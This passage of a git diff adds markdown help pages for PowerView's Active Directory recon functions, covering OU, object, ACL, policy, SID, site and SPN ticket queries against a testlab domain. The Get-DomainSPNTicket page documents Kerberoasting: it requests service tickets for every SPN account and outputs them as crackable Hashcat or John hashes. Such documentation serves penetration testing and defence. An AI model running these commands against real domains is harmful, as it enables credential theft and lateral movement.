Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ManagedSecurityGroup + +A custom PSObject describing the managed security group. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainOU.md b/docs/Recon/Get-DomainOU.md new file mode 100755 index 00000000..cc1fd39c --- /dev/null +++ b/docs/Recon/Get-DomainOU.md @@ -0,0 +1,316 @@ +# Get-DomainOU + +## SYNOPSIS +Search for all organization units (OUs) or specific OU objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainOU [[-Identity] ] [-GPLink ] [-Domain ] [-LDAPFilter ] + [-Properties ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] + [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties whencreated,usnchanged,...". +By default, all OU objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainOU +``` + +Returns the current OUs in the domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainOU *admin* -Domain testlab.local +``` + +Returns all OUs with "admin" in their name in the testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" +``` + +Returns all OUs with linked to the specified group policy object. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +"*admin*","*server*" | Get-DomainOU +``` + +Search for OUs with the specific names. + +### -------------------------- EXAMPLE 5 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainOU -Credential $Cred + +## PARAMETERS + +### -Identity +An OU name (e.g. +TestOU), DistinguishedName (e.g. +OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. +8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -GPLink +Only return OUs with the specified GUID in their gplink property. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: GUID + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.OU + +Custom PSObject with translated OU property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainObject.md b/docs/Recon/Get-DomainObject.md new file mode 100755 index 00000000..f900c539 --- /dev/null +++ b/docs/Recon/Get-DomainObject.md @@ -0,0 +1,318 @@ +# Get-DomainObject + +## SYNOPSIS +Return all (or specified) domain objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName + +## SYNTAX + +``` +Get-DomainObject [[-Identity] ] [-Domain ] [-LDAPFilter ] [-Properties ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] [-Credential ] + [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties samaccountname,usnchanged,...". +By default, all objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainObject -Domain testlab.local +``` + +Return all objects for the testlab.local domain + +### -------------------------- EXAMPLE 2 -------------------------- +``` +'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname +``` + +distinguishedname +----------------- +CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local +CN=dfm,CN=Users,DC=testlab,DC=local +OU=OU3,DC=testlab,DC=local +CN=dfm (admin),CN=Users,DC=testlab,DC=local + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObject -Credential $Cred -Identity 'windows1' + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-Domain | Select-Object -Expand name +``` + +testlab.local + +'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainUser\] Extracted domain 'testlab.local' from 'testlab\harmj0y' +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) + +distinguishedname +----------------- +CN=harmj0y,CN=Users,DC=testlab,DC=local +VERBOSE: \[Get-DomainUser\] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins))) +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ADObject + +Custom PSObject with translated AD object property fields. + +PowerView.ADObject.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainObjectAcl.md b/docs/Recon/Get-DomainObjectAcl.md new file mode 100755 index 00000000..97f70cd0 --- /dev/null +++ b/docs/Recon/Get-DomainObjectAcl.md @@ -0,0 +1,251 @@ +# Get-DomainObjectAcl + +## SYNOPSIS +Returns the ACLs associated with a specific active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap + +## SYNTAX + +``` +Get-DomainObjectAcl [[-Identity] ] [-ResolveGUIDs] [-RightsFilter ] [-Domain ] + [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs +``` + +Get the ACLs for the matt.admin user in the testlab.local domain and +resolve relevant GUIDs to their display names. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs +``` + +Enumerate the ACL permissions for all OUs in the domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ResolveGUIDs +Switch. +Resolve GUIDs to their display names. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RightsFilter +A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers'). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Rights + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ACL + +Custom PSObject with ACL entries. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainPolicy.md b/docs/Recon/Get-DomainPolicy.md new file mode 100755 index 00000000..8b7d1579 --- /dev/null +++ b/docs/Recon/Get-DomainPolicy.md @@ -0,0 +1,159 @@ +# Get-DomainPolicy + +## SYNOPSIS +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID + +## SYNTAX + +``` +Get-DomainPolicy [[-Domain] ] [-Source ] [-Server ] [-ServerTimeLimit ] + [-ResolveSids] [-Credential ] +``` + +## DESCRIPTION +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller using Get-DomainGPO. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainPolicy +``` + +Returns the domain policy for the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainPolicy -Domain dev.testlab.local +``` + +Returns the domain policy for the dev.testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainPolicy -Source DC -Domain dev.testlab.local +``` + +Returns the policy for the dev.testlab.local domain controller. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainPolicy -Credential $Cred + +## PARAMETERS + +### -Domain +The domain to query for default policies, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Source +Extract 'Domain' or 'DC' (domain controller) policies. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Domain +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResolveSids +Switch. +Resolve Sids from a DC policy to object names. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### Hashtable + +Ouputs a hashtable representing the parsed GptTmpl.inf file. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainSID.md b/docs/Recon/Get-DomainSID.md new file mode 100755 index 00000000..16c51ceb --- /dev/null +++ b/docs/Recon/Get-DomainSID.md @@ -0,0 +1,102 @@ +# Get-DomainSID + +## SYNOPSIS +Returns the SID for the current domain or the specified domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer + +## SYNTAX + +``` +Get-DomainSID [[-Domain] ] [[-Server] ] [[-Credential] ] +``` + +## DESCRIPTION +Returns the SID for the current domain or the specified domain by executing +Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192) +to search for domain controllers through LDAP. +The SID of the returned domain controller +is then extracted. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainSID +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainSID -Domain testlab.local +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSID -Credential $Cred + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### String + +A string representing the specified domain SID. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainSPNTicket.md b/docs/Recon/Get-DomainSPNTicket.md new file mode 100755 index 00000000..70385a45 --- /dev/null +++ b/docs/Recon/Get-DomainSPNTicket.md @@ -0,0 +1,136 @@ +# Get-DomainSPNTicket + +## SYNOPSIS +Request the kerberos ticket for a specified service principal name (SPN). + +Author: machosec, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +### RawSPN (Default) +``` +Get-DomainSPNTicket [-SPN] [-OutputFormat ] [-Credential ] +``` + +### User +``` +Get-DomainSPNTicket [-User] [-OutputFormat ] [-Credential ] +``` + +## DESCRIPTION +This function will either take one/more SPN strings, or one/more PowerView.User objects +(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN +using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. +The encrypted +portion of the ticket is then extracted and output in either crackable John or Hashcat +format (deafult of John). + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" +``` + +Request a kerberos service ticket for the specified SPN. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket +``` + +Request kerberos service tickets for all SPNs passed on the pipeline. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat +``` + +Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format. + +## PARAMETERS + +### -SPN +Specifies the service principal name to request the ticket for. + +```yaml +Type: String[] +Parameter Sets: RawSPN +Aliases: ServicePrincipalName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -User +Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. + +```yaml +Type: Object[] +Parameter Sets: User +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -OutputFormat +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Format + +Required: False +Position: Named +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote domain using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. + +### PowerView.User + +Accepts one or more PowerView.User objects on the pipeline with the User parameter set. + +## OUTPUTS + +### PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainSite.md b/docs/Recon/Get-DomainSite.md new file mode 100755 index 00000000..caf77903 --- /dev/null +++ b/docs/Recon/Get-DomainSite.md @@ -0,0 +1,309 @@ +# Get-DomainSite + +## SYNOPSIS +Search for all sites or specific site objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainSite [[-Identity] ] [-GPLink ] [-Domain ] [-LDAPFilter ] + [-Properties ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] + [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties whencreated,usnchanged,...". +By default, all site objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainSite +``` + +Returns the current sites in the domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainSite *admin* -Domain testlab.local +``` + +Returns all sites with "admin" in their name in the testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" +``` + +Returns all sites with linked to the specified group policy object. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSite -Credential $Cred + +## PARAMETERS + +### -Identity +An site name (e.g. +Test-Site), DistinguishedName (e.g. +CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or +GUID (e.g. +c37726ef-2b64-4524-b85b-6a9700c234dd). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -GPLink +Only return sites with the specified GUID in their gplink property. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: GUID + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept 